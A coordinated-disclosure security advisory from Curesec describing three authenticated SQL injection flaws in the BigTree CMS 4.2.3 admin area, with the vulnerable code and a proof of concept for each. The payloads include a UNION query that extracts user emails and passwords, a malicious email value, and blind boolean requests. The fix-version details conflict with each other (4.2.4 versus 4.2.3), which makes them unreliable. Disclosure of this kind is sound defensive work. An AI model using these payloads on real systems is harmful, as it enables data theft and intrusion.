BigTree CMS 4.2.3: Multiple SQL Injection Vulnerabilities
Security Advisory – Curesec Research Team

Online-Reference:
https://blog.curesec.com/article/blog/BigTree-CMS-423-Multiple-SQL-Injection-Vulnerabilities-39.html

1. Introduction

Affected Product:   BigTree CMS 4.2.3  
Fixed in:     4.2.4
Fixed Version Link:
https://github.com/bigtreecms/BigTree-CMS/archive/4.2.3.zip  
Vendor Contact:   contribute@bigtreecms.org  
Vulnerability Type:   Multiple SQL Injections  
Remote Exploitable:   Yes  
Reported to vendor:   07/07/2015  
Disclosed to public:   08/07/2015  
Release mode:     Coordinated release  
CVE:       n/a  
Credits     Tim Coen of Curesec GmbH  

2. Vulnerability Description

Various components of the admin area of the BigTree CMS are vulnerable
to SQL injection, which can lead to data leaks as well as compromisation
of the host.

Please note that you have to be authenticated to exploit this issue.

SQL Injection 1

The script that processes page view requests passes the "id" GET request
value to functions which put this value directly into SQL queries. No
prepared statements or escaping is used, thus opening it up to SQL
injection.

Proof of Concept (Show all BigTree users):


https://localhost//BigTree-CMS/site/index.php/admin/pages/view-tree/0'
union all select 1,concat(email, ":", password),3,4,5,6,7,8,9,10 from
bigtree_users %23/

Code:

        core/admin/modules/pages/view-tree.php:151; page id is user
controlled
          $nav_visible =
array_merge($admin->getNaturalNavigationByParent($page["id"],1),$admin->getPendingNavigationByParent($page["id"]));
          $nav_hidden =
array_merge($admin->getHiddenNavigationByParent($page["id"]),$admin->getPendingNavigationByParent($page["id"],""));
          $nav_archived = $admin->getArchivedNavigationByParent($page["id"]);

        core/inc/bigtree/admin.php:2638
        static function getArchivedNavigationByParent($parent) {
                [...]
          $q = sqlquery("SELECT id,nav_title as
title,parent,external,new_window,template,publish_at,expire_at,path,ga_page_views
FROM bigtree_pages WHERE parent = '$parent' AND archived = 'on' ORDER BY
nav_title asc");

        core/inc/bigtree/admin.php:3167
        static function getHiddenNavigationByParent($parent) {
                [...]
          $q = sqlquery("SELECT id,nav_title as
title,parent,external,new_window,template,publish_at,expire_at,path,ga_page_views
FROM bigtree_pages WHERE parent = '$parent' AND in_nav = '' AND archived
!= 'on' ORDER BY nav_title asc");

        core/inc/bigtree/admin.php:3758
        static function getNaturalNavigationByParent($parent,$levels = 1) {
                [...]
          $q = sqlquery("SELECT id,nav_title AS
title,parent,external,new_window,template,publish_at,expire_at,path,ga_page_views
FROM bigtree_pages WHERE parent = '$parent' AND in_nav = 'on' AND
archived != 'on' ORDER BY position DESC, id ASC");

        core/inc/bigtree/admin.php:4531
        static function getPendingNavigationByParent($parent,$in_nav = true) {
                [...]
          $q = sqlquery("SELECT * FROM bigtree_pending_changes WHERE
pending_page_parent = '$parent' AND `table` = 'bigtree_pages' AND type =
'NEW' ORDER BY date DESC");

SQL Injection 2

When creating a new user, the email address is not checked server side,
so it is possible to set it to anything.

When logging in, the email address is saved in the session, and later
used to retrieve user data. This happens without prepared statements,
thus opening the query up to SQL injection.

Proof of Concept:


1. Create User
f'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10%23bar@example.com
2. Log in
3. result can be seen in multiple places

Code:

    core/inc/bigtree/admin.php:81
        $f = sqlfetch(sqlquery("SELECT * FROM bigtree_users WHERE id =
'".$_SESSION["bigtree_admin"]["id"]."' AND email =
'".$_SESSION["bigtree_admin"]["email"]."'"));

SQL Injection 3 (Blind)

The function used to calculate the SEO score of a post for Ajax requests
passes unsanitized user input to a function performing the actual
computation. This function does not use prepared statements, thus
opening it up to SQL injection. The result of the query is never echoed
to the end user, making this a blind SQL injection.

Proof of Concept:



https://localhost//BigTree-CMS/site/index.php/admin/ajax/pages/get-seo-score
        POST: content=foo&resources=bar&id=foo' or 1=2%23&title=Trees of
All Sizes


https://localhost//BigTree-CMS/site/index.php/admin/ajax/pages/get-seo-score
        POST: content=foo&resources=bar&id=foo' or 1=1%23&title=Trees of
All Sizes

Code:

        core/admin/ajax/pages/get-seo-score.php:4:  
            $seo = $admin->getPageSEORating($_POST,$_POST["resources"]);

        core/inc/bigtree/admin.php:4222
            static function getPageSEORating($page,$content) {
                    [...]
              if ($page["title"]) {
                $score += 5;
                // They have a title, let's see if it's unique
                $r = sqlrows(sqlquery("SELECT * FROM bigtree_pages WHERE
title = '".sqlescape($page["title"])."' AND id != '".$page["id"]."'"));

3. Solution

To mitigate this issue please upgrade at least to version 4.2.3:

https://github.com/bigtreecms/BigTree-CMS/archive/4.2.3.zip

Please note that a newer version might already be available.

4. Report Timeline

07/07/2015   Informed Vendor about Issue
07/08/2015   Vendor send Fixes for confirmation
07/10/2015   Fixes Confirmed
07/26/2015   Vendor releases Version 4.2.3
08/07/2015   Disclosed to public